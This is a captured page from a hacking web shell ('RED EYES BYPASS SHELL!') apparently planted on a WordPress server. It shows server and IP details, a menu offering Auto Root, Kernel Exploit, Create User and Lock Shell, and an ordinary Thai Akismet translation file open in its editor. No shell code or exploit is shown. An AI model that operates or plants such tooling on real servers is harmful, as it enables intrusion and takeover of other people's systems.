Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
languages /
plugins /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
akismet-th.mo
21.39
KB
-rwxr-xr-x
akismet-th.po
26.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : akismet-th.po
# Translation of Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release) in Thai # This file is distributed under the same license as the Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2023-06-01 17:46:08+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/4.0.0-alpha.7\n" "Language: th\n" "Project-Id-Version: Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release)\n" #: views/config.php:196 msgid "Privacy" msgstr "ส่วนตัว" #. translators: %s: number of spam missed by Akismet #: views/config.php:59 msgid "%s missed spam" msgid_plural "%s missed spam" msgstr[0] "%s สแปมที่พลาดไป" #. translators: %s: number of false positive spam flagged by Akismet #: views/config.php:61 msgid "%s false positive" msgid_plural "%s false positives" msgstr[0] "%s ด้านบวกปลอม" #: views/notice.php:99 msgid "Please update your payment information." msgstr "โปรดอัปเดตข้อมูลการจ่ายเงินของคุณ" #. translators: The placeholder is a URL. #: views/notice.php:103 msgid "We cannot process your payment. Please <a href=\"%s\" target=\"_blank\">update your payment details</a>." msgstr "เราไม่สามารถทำการจ่ายเงินของคุณได้ โปรด<a href=\"%s\" target=\"_blank\">อัปเดตข้อมูลการจ่ายเงินของคุณ</a>" #: views/notice.php:110 msgid "Your Akismet plan has been cancelled." msgstr "แผนการใช้ Akismet ของคุณถูกยกเลิกแล้ว" #: views/notice.php:121 msgid "Your Akismet subscription is suspended." msgstr "สมาชิก Akismet ของคุณถูกระงับใช้ชั่วคราว" #: views/notice.php:154 msgid "You don’t have an Akismet plan." msgstr "คุณยังไม่มีแผนการใช้ Akismet" #: class.akismet-admin.php:195 class.akismet-admin.php:233 #: class.akismet-admin.php:246 msgid "Akismet filters out spam, so you can focus on more important things." msgstr "Akismet ช่วยกรองสแปมให้ เพื่อที่คุณจะได้สนใจกับสิ่งที่สำคัญกว่า" #: class.akismet-admin.php:1062 msgid "Akismet has saved you %d minute!" msgid_plural "Akismet has saved you %d minutes!" msgstr[0] "Akismet ช่วยคุณประหยัดเวลาได้ %d นาที" #: class.akismet-admin.php:1060 msgid "Akismet has saved you %d hour!" msgid_plural "Akismet has saved you %d hours!" msgstr[0] "Akismet ช่วยคุณประหยัดเวลาได้ %d ชั่วโมง" #: class.akismet-admin.php:1058 msgid "Akismet has saved you %s day!" msgid_plural "Akismet has saved you %s days!" msgstr[0] "Akismet ช่วยคุณประหยัดเวลาได้ %s วัน" #. translators: The placeholder is a URL to the Akismet contact form. #: views/notice.php:163 msgid "Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions." msgstr "โปรด <a href=\"%s\" target=\"_blank\">ติดต่อทีมสนับสนุนของเรา</a> ถ้ามีคำถามใด ๆ" #. translators: the placeholder is a clickable URL to the Akismet account #. upgrade page. #: views/notice.php:158 msgid "In 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we’d appreciate it if you’d <a href=\"%s\" target=\"_blank\">sign into your account</a> and choose one." msgstr "ตั้งแต่ปี 2012 Akismet เริ่มการใช้สิทธิสมาชิกสำหรับบัญชีทั้งหมด (แม้แต่บัญชีแบบฟรี) ดูเหมือนว่าสิทธิสมาชิกยังไม่ได้มอบหมายให้แก่บัญชีของคุณ และเราจะยินดีถ้าคุณ <a href=\"%s\" target=\"_blank\">เข้าสู่ระบบบัญชีของคุณ</a> แล้วเลือกสิทธิการใช้อย่างหนึ่ง" #. translators: The placeholder is a URL. #: views/notice.php:228 msgid "The connection to akismet.com could not be established. Please refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a> and check your server configuration." msgstr "ไม่สามารถเชื่อมต่อไปที่ akismet.com ได้ กรุณาอ้างถึง <a href=\"%s\" target=\"_blank\">คำแนะนำของเราเกี่ยวกับไฟร์วอลล์</a> และตรวจสอบการตั้งค่าเซิร์ฟเวอร์ของคุณ" #: views/notice.php:222 msgid "The API key you entered could not be verified." msgstr "API คีย์ที่คุณใส่ไม่สามารถใช้ยืนยันตัวตนได้" #: class.akismet-admin.php:645 msgid "This comment was reported as not spam." msgstr "ความเห็นนี้ถูกแจ้งมาว่าไม่เป็นสแปม" #: views/config.php:113 msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly." msgstr "Akismet พบปัญหากับการร้องขอ SSL ล่าสุดและได้ทำการปิดใช้งานชั่วคราว มันจะเริ่มใช้งาน SSL สำหรับการร้องขออีกครั้งเร็ว ๆ นี้" #: views/config.php:116 msgid "All systems functional." msgstr "คำสั่งของระบบทั้งหมด" #: views/config.php:107 msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests." msgstr "เว็บเซิร์ฟเวอร์ของคุณไม่สามารถสร้างการร้องขอ SSL ติดต่อผู้ให้บริการเว็บโฮสท์ของคุณและขอให้พวกเขาเพิ่มการสนับสนุนการร้องของ SSL (SSL requests)" #: views/config.php:112 msgid "Temporarily disabled." msgstr "ปิดใช้งานชั่วคราว" #: views/config.php:106 msgid "Disabled." msgstr "ปิดใช้งานแล้ว" #: views/config.php:115 msgid "Enabled." msgstr "เปิดใช้งานแล้ว" #: class.akismet-admin.php:637 msgid "This comment was reported as spam." msgstr "ความเห็นนี้ถูกแจ้งมาว่าเป็นสแปม" #. translators: The Akismet configuration page URL. #: class.akismet-admin.php:947 msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist." msgstr "กรุณาตรวจสอบ <a href=\"%s\">การตั้งค่า Akismet</a>ของคุณ และติดต่อโฮสท์ของคุณถ้าคุณยังเจอปัญหาอยู่" #: views/notice.php:42 msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later." msgstr "บางความเห็นยังไม่ได้รับการตรวจสอบว่าเป็นสแปมหรือไม่โดย Akismet ความเห็นเหล่านี้จะถูกพักไว้ชั่วคราวสำหรับการตรวจสอบและจะถูกเช็คอีกรอบโดยอัตโนมัติในภายหลัง" #: views/config.php:269 msgid "Cancelled" msgstr "ยกเลิก" #: views/config.php:271 msgid "Suspended" msgstr "ระงับชั่วคราว" #: views/config.php:273 msgid "Missing" msgstr "หายไป" #: views/config.php:277 msgid "Active" msgstr "เปิดใช้งาน" #: class.akismet-admin.php:259 msgid "Strictness" msgstr "เข้มงวด" #: class.akismet-admin.php:259 msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder." msgstr "กรุณาเลือกว่าจะลบความเห็นสแปมแย่ ๆ โดยอัตโนมัติหรือจะนำสแปมทั้งหมดเข้าไปเก็บไว้ในโฟลเดอร์สแปม" #: views/config.php:160 msgid "Silently discard the worst and most pervasive spam so I never see it." msgstr "ลบสแปมแย่ ๆ ที่แพร่กระจายในเว็บอย่างเงียบ ๆ เพื่อที่ฉันจะได้ไม่ต้องเห็นมัน" #: views/config.php:168 msgid "Always put spam in the Spam folder for review." msgstr "ย้ายข้อความสแปมไปไว้ในโฟลเดอร์สแปมเสมอเพื่อรอการตรวจสอบ" #: class.akismet-admin.php:258 views/config.php:126 msgid "Comments" msgstr "ความเห็น" #: views/notice.php:41 views/notice.php:50 msgid "Akismet has detected a problem." msgstr "Akismet ตรวจพบปัญหา" #. translators: the placeholder is a clickable URL that leads to more #. information regarding an error code. #: views/notice.php:62 msgid "For more information: %s" msgstr "สำหรับข้อมูลเพิ่มเติม: %s" #: views/notice.php:77 msgid "Network functions are disabled." msgstr "คำสั่งเน็ตเวิร์คใช้งานไม่ได้" #. translators: The placeholder is a URL. #. translators: The placeholder is a URL to the Akismet contact form. #: views/notice.php:125 views/notice.php:147 msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance." msgstr "กรุณาติดต่อ<a href=\"%s\" target=\"_blank\">ฝ่ายสนับสนุนของ Akismet</a>เพื่อขอรับความช่วยเหลือ" #. translators: the placeholder is a clickable URL to the Akismet account #. upgrade page. #: views/notice.php:136 msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>." msgstr "คุณสามารถช่วยเหลือเราต่อสู้กับสแปมและอัปเกรดบัญชีของคุณโดย <a href=\"%s\" target=\"_blank\">อุทิศปริมาณ token</a>" #: views/notice.php:200 msgid "The key you entered is invalid. Please double-check it." msgstr "key ที่คุณใส่ใช้ไม่ได้ กรุณาเช็คอีกครั้ง" #: views/enter.php:2 msgid "Manually enter an API key" msgstr "ใส่ API key ด้วยตัวเอง" #: views/connect-jp.php:53 msgid "Contact Akismet support" msgstr "ติดต่อฝ่ายสนับสนุนของ Akismet" #: class.akismet-admin.php:87 class.akismet-admin.php:1271 msgid "Akismet" msgstr "Akismet" #: class.akismet-admin.php:157 msgid "Remove this URL" msgstr "ลบ URL นี้" #: class.akismet-admin.php:158 msgid "Removing..." msgstr "กำลังลบ" #: class.akismet-admin.php:159 msgid "URL removed" msgstr "ลบ URL แล้ว" #: class.akismet-admin.php:160 msgid "(undo)" msgstr "(ยกเลิก)" #: class.akismet-admin.php:161 msgid "Re-adding..." msgstr "กำลังเพิ่มอีกครั้ง..." #: class.akismet-admin.php:192 class.akismet-admin.php:230 #: class.akismet-admin.php:243 msgid "Overview" msgstr "ภาพรวม" #: class.akismet-admin.php:194 class.akismet-admin.php:205 #: class.akismet-admin.php:216 msgid "Akismet Setup" msgstr "การตั้งค่า Akismet" #: class.akismet-admin.php:203 msgid "New to Akismet" msgstr "มือใหม่กับ Akismet" #: class.akismet-admin.php:206 msgid "You need to enter an API key to activate the Akismet service on your site." msgstr "คุณต้องใส่ API key เพื่อเปิดใช้งานบริการ Akismet บนเว็บไซต์ของคุณ" #: class.akismet-admin.php:214 msgid "Enter an API Key" msgstr "ใส่ API Key" #: class.akismet-admin.php:217 msgid "If you already have an API key" msgstr "ถ้าคุณมี API key แล้ว" #: class.akismet-admin.php:219 msgid "Copy and paste the API key into the text field." msgstr "คัดลอกและวาง API key ในช่องข้อความ" #: class.akismet-admin.php:220 msgid "Click the Use this Key button." msgstr "กดที่ปุ่มใช้คำนี้" #: class.akismet-admin.php:232 msgid "Akismet Stats" msgstr "สถิติของ Akismet" #: class.akismet-admin.php:234 msgid "On this page, you are able to view stats on spam filtered on your site." msgstr "บนหน้านี้ คุณสามารถเห็นสถิติของตัวกรองการสแปมบนเว็บไซต์ของคุณ" #: class.akismet-admin.php:245 class.akismet-admin.php:256 #: class.akismet-admin.php:269 msgid "Akismet Configuration" msgstr "การปรับค่าอะคิสเมท (Akismet)" #: class.akismet-admin.php:107 class.akismet-admin.php:254 #: class.akismet-admin.php:723 views/config.php:81 msgid "Settings" msgstr "ตั้งค่า" #: class.akismet-admin.php:257 msgid "API Key" msgstr "API Key" #: class.akismet-admin.php:257 msgid "Enter/remove an API key." msgstr "ใส่/เอาออก API key" #: class.akismet-admin.php:258 msgid "Show the number of approved comments beside each comment author in the comments list page." msgstr "แสดงจำนวนความเห็นที่อนุมัติข้าง ๆ แต่ละความเห็นของผู้เขียนในหน้าแสดงรายชื่อความเห็น" #: class.akismet-admin.php:267 views/config.php:251 msgid "Account" msgstr "บัญชี" #: class.akismet-admin.php:270 msgid "Subscription Type" msgstr "ประเภทรับข่าว" #: class.akismet-admin.php:270 msgid "The Akismet subscription plan" msgstr "แผนรับข่าวของ Akismet" #: class.akismet-admin.php:271 views/config.php:265 msgid "Status" msgstr "สถานะ" #: class.akismet-admin.php:271 msgid "The subscription status - active, cancelled or suspended" msgstr "สถานะรับข่าว - ใช้งานอยู่, ยกเลิก, รอการตรวจสอบ" #: class.akismet-admin.php:280 msgid "For more information:" msgstr "รายละเอียดเพิ่มเติม:" #: class.akismet-admin.php:281 msgid "Akismet FAQ" msgstr "Akismet คำถามที่ถามบ่อย" #: class.akismet-admin.php:282 msgid "Akismet Support" msgstr "ฝ่ายช่วยเหลือ Akismet" #: class.akismet-admin.php:288 msgid "Cheatin’ uh?" msgstr "ต้องการโกงหรือ?" #: class.akismet-admin.php:358 msgctxt "comments" msgid "Spam" msgstr "สแปม" #: class.akismet-admin.php:360 msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>." msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>." msgstr[0] "<a href=\"%1$s\">Akismet</a> ได้ปกป้องเว็บคุณจาก <a href=\"%2$s\">%3$s ความเห็นสแปม</a>." #: class.akismet-admin.php:370 msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. " msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. " msgstr[0] "<a href=\"%1$s\">Akismet</a> ได้ป้องกันเว็บไซต์ของคุณจาก %2$s ความเห็นสแปมแล้ว" #: class.akismet-admin.php:376 msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. " msgstr "<a href=\"%s\">Akismet</a> ปิดกั้นข้อความสแปมที่มาเขียนในบล็อกของคุณ" #: class.akismet-admin.php:382 msgid "There’s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now." msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now." msgstr[0] "มี <a href=\"%2$s\">%1$s ความเห็น</a> ในคิวข้อความสแปมของคุณในตอนนี้" #: class.akismet-admin.php:388 msgid "There’s nothing in your <a href='%s'>spam queue</a> at the moment." msgstr "ไม่มีอะไรเลยใน <a href='%s'>คิวข้อความสแปม</a> ในตอนนี้" #: class.akismet-admin.php:435 msgid "Check for Spam" msgstr "เลือกเป็นสแปม" #: class.akismet-admin.php:542 msgid "Awaiting spam check" msgstr "กำลังรอการตรวจสอบสแปม" #: class.akismet-admin.php:546 msgid "Flagged as spam by Akismet" msgstr "ถูกบันทึกว่าเป็นสแปมโดย Akismet" #: class.akismet-admin.php:548 msgid "Cleared by Akismet" msgstr "เคลียร์โดย Akismet" #: class.akismet-admin.php:552 msgid "Flagged as spam by %s" msgstr "ถูกบันทึกว่าเป็นสแปมโดย %s" #: class.akismet-admin.php:554 msgid "Un-spammed by %s" msgstr "เลิกบันทึกว่าเป็นสแปมโดย %s" #: class.akismet-admin.php:566 class.akismet-admin.php:574 msgid "View comment history" msgstr "ดูประวัติความเห็น" #: class.akismet-admin.php:566 msgid "History" msgstr "ประวัติ" #: class.akismet-admin.php:589 msgid "%s approved" msgid_plural "%s approved" msgstr[0] "%s อนุมัติ" #. translators: The placeholder is an amount of time, like "7 seconds" or "3 #. days" returned by the function human_time_diff(). #: class.akismet-admin.php:696 msgid "%s ago" msgstr "%s มาแล้ว" #: class.akismet-admin.php:1055 msgid "Cleaning up spam takes time." msgstr "การลบข้อความสแปมต้องใช้เวลาบ้าง" #: class.akismet-widget.php:12 msgid "Akismet Widget" msgstr "Akismet Widget" #: class.akismet-widget.php:13 msgid "Display the number of spam comments Akismet has caught" msgstr "แสดงตัวเลขความเห็นสแปมที่ Akisment ดักจับได้" #: class.akismet-widget.php:69 class.akismet-widget.php:91 msgid "Spam Blocked" msgstr "สแปมที่ถูกบล็อค" #: class.akismet-widget.php:74 msgid "Title:" msgstr "หัวข้อ:" #. translators: The placeholder is the number of pieces of spam blocked by #. Akismet. #: class.akismet-widget.php:109 msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgstr[0] "<strong class=\"count\">%1$s ความเห็นสแปม</strong> ถูกปิดกั้นโดย <strong>Akismet</strong>" #. translators: The placeholder is a short string (like 'spam' or 'approved') #. denoting the new comment status. #: class.akismet-admin.php:676 msgid "Comment status was changed to %s" msgstr "สถานะความเห็นเปลี่ยนเป็น %s" #: class.akismet-admin.php:649 msgid "Akismet caught this comment as spam during an automatic retry." msgstr "Akismet พบว่าความเห็นนี้เป็นสแปมระหว่างตรวจสอบอีกครั้งอัตโนมัติ" #: class.akismet-admin.php:652 msgid "Akismet cleared this comment during an automatic retry." msgstr "Akismet ล้างความเห็นนี้ระหว่างการลองใหม่อัตโนมัติ" #: class.akismet.php:1563 msgid "Akismet %s requires WordPress %s or higher." msgstr "Akismet %s ต้องการเวิร์ดเพรสรุ่น %s หรือสูงกว่า" #: class.akismet.php:1563 msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>." msgstr "โปรด <a href=\"%1$s\">อัปเกรดเวิร์ดเพรส</a> มายังรุ่นปัจจุบัน หรือ <a href=\"%2$s\"> ดาวน์เกรดปลั๊กอิน Akismet มายังรุ่น 2.4</a>" #: views/config.php:44 msgid "Past six months" msgstr "หกเดือนที่แล้ว" #: views/config.php:46 views/config.php:51 msgid "Spam blocked" msgid_plural "Spam blocked" msgstr[0] "ข้อความสแปมที่ถูกปิดกั้น" #: views/config.php:49 msgid "All time" msgstr "เวลาทั้งหมด" #: views/config.php:54 msgid "Accuracy" msgstr "ความถูกต้อง" #: views/config.php:175 msgid "Note:" msgstr "บันทึก:" #: views/config.php:231 msgid "Disconnect this account" msgstr "ตัดการเชื่อมต่อบัญชีนี้" #: views/config.php:294 msgid "Upgrade" msgstr "อัปเกรด" #: views/config.php:294 msgid "Change" msgstr "เปลี่ยนแปลง" #: class.akismet-admin.php:619 msgid "Akismet re-checked and cleared this comment." msgstr "Akismet ตรวจสอบใหม่และล้างค่าความเห็นนี้แล้ว" #: class.akismet-admin.php:616 msgid "Akismet caught this comment as spam." msgstr "Akismet จับความเห็นนี้เป็นสแปม" #: class.akismet-admin.php:613 msgid "Akismet re-checked and caught this comment as spam." msgstr "Akismet ตรวจสอบใหม่และจับความเห็นนี้เป็นสแปม" #: class.akismet-admin.php:622 msgid "Akismet cleared this comment." msgstr "Akismet ล้างค่าความเห็นนี้แล้ว" #. translators: The placeholder is a username. #: class.akismet-admin.php:635 msgid "%s reported this comment as spam." msgstr "%s รายงายว่าความเห็นนี้เป็นสแปม" #. translators: The placeholder is a username. #: class.akismet-admin.php:643 msgid "%s reported this comment as not spam." msgstr "%s รายงานว่าความเห็นนี้ไม่เป็นสแปม" #. translators: The placeholder is an error response returned by the API #. server. #: class.akismet-admin.php:657 msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later." msgstr "Akismet ไม่สามารถตรวบสอบความเห็นนี้ (ตอบกลับ: %s) แต่จะลองใหม่อีกครั้งอัตโนมัติ" #. translators: %1$s is a username; %2$s is a short string (like 'spam' or #. 'approved') denoting the new comment status. #: class.akismet-admin.php:682 msgid "%1$s changed the comment status to %2$s." msgstr "%1$s เปลี่ยนสถานะความเห็นเป็น %2$s" #. translators: The placeholder is an error response returned by the API #. server. #: class.akismet-admin.php:665 msgid "Akismet was unable to recheck this comment (response: %s)." msgstr "Akismet ไม่สามารถตรวจสอบใหม่ความเห็นนี้ (ตอบกลับ: %s)." #: views/config.php:180 msgid "Spam in the <a href=\"%1$s\">spam folder</a> older than 1 day is deleted automatically." msgid_plural "Spam in the <a href=\"%1$s\">spam folder</a> older than %2$d days is deleted automatically." msgstr[0] "สแปมใน <a href=\"%1$s\">โฟลเดอร์สแปม</a> ที่เก่ากว่า %2$d วันจะถูกลบอัตโนมัติ" #: views/notice.php:143 msgid "There is a problem with your API key." msgstr "มีปัญหากับ API key ของคุณ" #. translators: The placeholder is a URL. #: views/notice.php:81 msgid "Your web host or server administrator has disabled PHP’s <code>gethostbynamel</code> function. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet’s system requirements</a>." msgstr "เว็บโฮสท์ของคุณ หรือผู้ควบคุมเซิร์ฟเวอร์ปิดการใช้งานคำสั่ง PHP’s <code>gethostbynamel</code> <strong>Akismet ไม่สามารถทำงานอย่างถูกต้องได้จนกว่าจะแก้ไขสิ่งนี้ก่อน</strong> กรุณาติดต่อเว็บโฮสท์ของคุณหรือผู้ควบคุมไฟร์วอลล์และให้<a href=\"%s\" target=\"_blank\">รายละเอียดเกี่ยวกับสิ่งที่ระบบ Akismet ต้องการ</a>แก่พวกเขา" #: class.akismet-admin.php:207 msgid "Sign up for an account on %s to get an API Key." msgstr "ลงทะเบียนสำหรับบัญชีบน %s เพื่อรับ API Key" #: class.akismet-admin.php:196 msgid "On this page, you are able to set up the Akismet plugin." msgstr "บนหน้านี้ คุณสามารถตั้งค่าปลั๊กอิน Akismet" #: views/connect-jp.php:64 msgid "No worries! Get in touch and we’ll sort this out." msgstr "ไม่ต้องกังวล โปรดติดต่อเราแล้วเราจะหาสาเหตุให้" #. translators: The placeholder is a URL. #: views/notice.php:114 msgid "Please visit your <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription." msgstr "กรุณาเยี่ยมชม<a href=\"%s\" target=\"_blank\">หน้าบัญชีผู้ใช้งาน Akismet</a> เพื่อเปิดสิทธิสมาชิกของคุณอีกครั้ง" #: class.akismet-admin.php:83 msgid "Comment History" msgstr "ประวัติความเห็น"
Close